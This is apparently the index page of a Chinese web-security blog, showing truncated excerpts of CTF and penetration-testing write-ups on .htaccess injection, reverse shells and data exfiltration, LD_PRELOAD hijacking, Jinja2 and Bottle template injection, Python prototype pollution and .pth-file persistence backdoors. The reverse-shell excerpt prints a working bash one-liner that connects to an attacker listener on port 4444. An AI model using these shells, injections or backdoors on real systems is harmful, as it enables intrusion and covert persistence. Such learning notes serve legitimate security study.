c01sin1's blog

c01sin1's blog

Apache .htaccess 注入攻击专题——从文件解析劫持到信息泄露
Created2026-07-23|web sec
前言.htaccess 是 Apache 的目录级配置文件,允许在不修改主配置文件的情况下,对当前目录及其子目录进行权限控制、URL 重写、MIME 类型映射、错误页面定制等操作。 在 CTF 和渗透测试中,如果存在一个可以上传 .htaccess 文件的文件上传点,攻击者就能: 让图片被解析为 PHP 代码 通过 HTTP 响应头读取服务器上的任意文件 利用条件重写做侧信道逐字符爆破敏感文件内容 开启 SSI(Server-Side Includes)将 /flag 等内容注入到页面中 利用 php_value/php_flag 修改 PHP 运行时配置 本文梳理 .htaccess 的工作原理,并按攻击目标分类整理了十余种利用技巧。 一、.htaccess 基础1.1 什么是 .htaccesshtaccess = “hypertext access”,是 Apache HTTP Server 的分布式配置文件。把它放在某个目录下,其中的指令就会作用于该目录及其所有子目录。 继承规则: 父目录的 .htaccess 规则会与子目录的 .htacce...
反弹shell与外带数据汇总——从基础弹shell到隐蔽外带技巧
Created2026-07-23|web sec
前言拿到命令执行点后,下一步往往是把 shell 弹出来,或者把执行结果带出来。反弹 shell 的方法很多,但不同环境可用工具不同(可能没有 nc、没有 /dev/tcp、没有 python),所以手里备一套完整的弹 shell 字典很实用。 本文将常见的反弹 shell 和外带数据方法做了系统整理,覆盖 bash、Python、Perl、PHP、Ruby、nc、socat、telnet、OpenSSL、PowerShell 等十余种方式,以及 curl、DNS、ICMP 等多种外带技巧。 一、反弹 Shell 通用前提: 攻击机执行 nc -lvvp 4444 开启监听,以下命令中的 IP 和端口请替换为攻击机的实际地址。 1.1 Bash 反弹最常用的方式,前提是目标存在 /dev/tcp(多数 Linux 发行版编译 bash 时都带这个特性)。 12345# 标准版bash -i >& /dev/tcp/192.168.254.1/4444 0>&1# 一行版bash -c "bash -i >& /dev/tcp...
LD_PRELOAD 劫持专题——从原理到绕过 disable_functions
Created2026-07-23|web sec
前言LD_PRELOAD 是 Linux 动态链接器提供的一个环境变量,允许用户在程序运行前优先加载指定的共享库(.so 文件)。这个特性本是用于调试和性能分析(如 malloc 调试、内存检测),但在攻击场景中,它可以劫持程序调用的库函数,注入恶意代码。 在 CTF 和渗透测试中,LD_PRELOAD 最常见的用途是**绕过 PHP 的 disable_functions**——当 system()、exec() 等危险函数被禁用时,通过劫持 mail() 等函数底层调用的 C 库函数来执行任意命令。 本文从动态链接基础讲起,逐步深入到劫持自定义程序、劫持系统命令、绕过 disable_functions 的多种姿势,以及检测和防御措施。 一、LD_PRELOAD 基础1.1 什么是动态链接Linux 程序在运行时需要调用各种库函数(如 printf、rand、strncmp)。这些函数有两种链接方式: 链接方式 说明 特点 静态链接 编译时将库代码直接嵌入可执行文件 文件大、不依赖外部库、无法劫持 动态链接 运行时从 .so 文件中加载库函数 文件小、共享内...
工具使用大全——CTF / 渗透测试常用工具速查手册
Created2026-07-23|web sec
前言打 CTF 和做渗透测试时,工具命令经常忘、参数经常查。本文按场景分类整理了近 30 类常用工具的使用方法,涵盖数据库、SQL 注入、端口扫描、爆破、漏洞利用、Session 伪造、容器、反编译等,每条命令都附带可直接复制的示例。 一、数据库操作1.1 MySQL12345678910111213141516171819202122232425262728293031323334# 登录sudo mysql -u root# 建表create table ctfshow_user(username varchar(100), pass varchar(100));# 插入insert into ctfshow_user(username, pass) values('admin', '123');# 更新update ctfshow_user set pass='456' where username='admin';# 删除表drop table ctfshow_user;# 修改列名alte...
Bottle SimpleTemplate SSTI 攻击技术全解
Created2026-07-23|web sec
前言SimpleTemplate 是 Python 微框架 Bottle 内置的模板引擎。与 Jinja2 不同,SimpleTemplate 追求的正是”简单”——它允许在模板中直接嵌入原生 Python 代码(% ... 和 <% ... %>),而不是 Jinja2 那种需要用 {% %} 包裹的受限 DSL。但也正因为这种”便利”,一旦存在 SSTI 注入点,攻击者几乎不受限制——直接写 __import__('os').popen(...) 即可 RCE,不需要绕 MRO 链和 __subclasses__()。 本文将 SimpleTemplate 的语法、SSTI 利用、无回显打法系统化整理。 --- ## 一、SimpleTemplate 基础语法 ### 1.1 变量输出——`{% raw %}{{ }}{% endraw %}` 12345from bottle import SimpleTemplatetpl = SimpleTemplate('Hello {{name&...
Jinja2 SSTI 攻击技术全解——从对象链到无回显利用
Created2026-07-23|web sec
## 前言 SSTI(Server-Side Template Injection,服务端模板注入)是 Flask/Jinja2 中最经典的漏洞类型。当用户输入被直接拼入 `render_template_string()` 时,攻击者可以通过 Jinja2 的模板语法访问 Python 对象,沿着继承链(MRO)追溯到 `object`、遍历子类、找到危险函数(`os.popen`、`subprocess.Popen`、`__builtins__.eval` 等),最终实现 RCE。 本文从 Jinja2 模板引擎的基础语法出发,系统覆盖 SSTI 的对象链原理、常用可调用类、13 种绕过技巧、变量声明与字符串构造、以及无回显利用方式。 --- ## 一、SSTI 基础 ### 1.1 漏洞成因 123456789from flask import Flask, request, render_template_stringapp = Flask(__name__)@app.route('/')def index(): name = r...
Python 原型链污染攻击技术全解——从原理到 11 种利用方式
Created2026-07-23|web sec
前言原型链污染(Prototype Pollution)最早在 Node.js 中广为人知,但 Python 中同样存在完全相似的攻击模式。触发条件与 Node.js 一致:JSON 解析 + 递归 merge 操作。当一个递归合并函数将用户可控的 JSON 数据合并到某个对象实例上时,攻击者可以通过 Python 的特殊属性(__init__、__globals__、__class__ 等)沿着原型链向上追溯到全局空间,污染任意变量。 本文从 merge 函数源码出发,系统拆解 Python 原型链污染的原理和 11 种利用方式。 一、漏洞条件1.1 两个必要条件与 Node.js 原型链污染完全一致: JSON 解析: 应用将用户输入的 JSON 数据解析成字典 递归 merge: 一个递归合并函数将解析后的字典合并到某个对象实例上 1.2 核心漏洞函数——merge1234567891011def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__&...
Python 写 EXP 小贴士——正则、爬虫、并发与文件操作速查
Created2026-07-23|web sec
前言写 CTF EXP 时最常打交道的就是正则提取、HTTP 请求、HTML 解析和并发。这篇文章把 Python 写 EXP 最常用的六个模块整理成速查手册——正则、文件操作、requests、BeautifulSoup、多进程、多线程——每个都有可复制的代码片段。 一、正则表达式(re 模块)1.1 特殊符号速查 符号 含义 \s 空白符号(空格、制表符、换行等) \S 除空白符号以外的任意符号 \w 字母、数字、下划线 [a-zA-Z0-9_] \W 除字母、数字、下划线以外的符号 \d 数字 [0-9] \D 除数字以外的任意符号 . 除换行符以外的任意字符(re.S 模式下匹配换行) ^ 匹配字符串开头 $ 匹配字符串结尾 \b 单词边界 1.2 限定符(量词) 限定符 含义 X+ X 至少出现 1 次,最多无限次 X* X 出现 0 次或无限次 X? X 出现 0 次或 1 次 X{m} X 恰好出现 m 次 X{m,} X 至少出现 m 次 X&...
Python 手册——模块、反射、迭代器与常用库速查
Created2026-07-23|web sec
前言写 CTF EXP 和代码审计时,Python 的各种内置函数和模块特性经常需要速查。本文按主题整理了 Python 最常用的 40+ 个知识点——从模块导入到反射、从迭代器到装饰器、从 Flask 到 FastAPI——每个都附带可直接复制的代码示例。 一、模块与包1.1 模块——单个 .py 文件1234567# 文件: my_module.pydef hello(): return "Hello, World!"# 使用:# import my_module# my_module.hello() 每个模块都有一个内置属性 __name__: 当模块被直接运行时,__name__ 被设置为 '__main__' 当模块被导入时,__name__ 被设置为模块本身的名称 123# 文件末尾常见写法:if __name__ == '__main__': main() 1.2 包——含 __init__.py 的目录1234my_package/├── __init__.py├── module_a....
Python .pth 文件后门与权限维持技术
Created2026-07-23|web sec
前言Python 在启动时会自动遍历 site-packages 目录下的 .pth 文件并逐行处理。.pth 的设计初衷是路径配置文件——用来把额外的模块搜索路径添加到 sys.path。但 Python 的设计留了一个”后门”:以 import 开头的行会被直接执行。这意味着任何能在 site-packages 下写入 .pth 文件的人,都能在每次 Python 启动时执行任意代码。 作为一种权限维持技术,.pth 后门极其隐蔽——没有新进程、没有 crontab、没有 shell 配置文件篡改,只是一个安静的文本文件。 一、.pth 文件机制1.1 site.py 的处理流程Python 启动时,site.py(位于 Lib/site.py)会被自动执行,其中关键逻辑: 12345678910111213141516171819# site.py 核心逻辑(简化)def addsitepackages(known_paths): """处理 site-packages 下所有 .pth 文件""" ...
12345
avatar
c01sin1
Articles
42
Tags
271
Categories
5
Follow Me
Announcement
🌸 欢迎来到 c01sin1 的小窝~ 记录Web安全学习笔记 ✨
Recent Posts
致刚学ctf的你2026-09-09
Node.js EJS SSTI 专题——从模板注入到 RCE 原理解析2026-07-24
Node.js RCE 完全指南——从 eval 注入到绕过 getshell2026-07-24
JavaScript 原型链污染攻击专题——从基础原理到 CTF 全利用链2026-07-24
云安全基础与 CTF 利用——从元数据 SSRF 到对象存储攻防2026-07-24
Categories
  • CTF1
  • java sec5
  • php sec5
  • php-sec2
  • web sec29
Tags
nc gadget-chain GBK 模板注入 error_log cookie zip base64 add_url_rule .git 权限提升 迭代器 沙箱逃逸 kid注入 OOB XXE mail函数 请求走私 serialVersionUID child_process CTF SUID 手册 readResolve FastAPI 入门 eval GitHack so劫持 渗透测试 NoSQL Injection git-dumper 持久化 Pwn werkzeug SSI BadAttributeValueExpException CommonsCollections Reverse generator
Archives
  • 九月 2026 1
  • 七月 2026 41
Website Info
Article Count :
42
Unique Visitors :
Page Views :
Last Update :
© 2025 - 2026 By c01sin1Framework Hexo 7.3.0|Theme Butterfly 5.5.5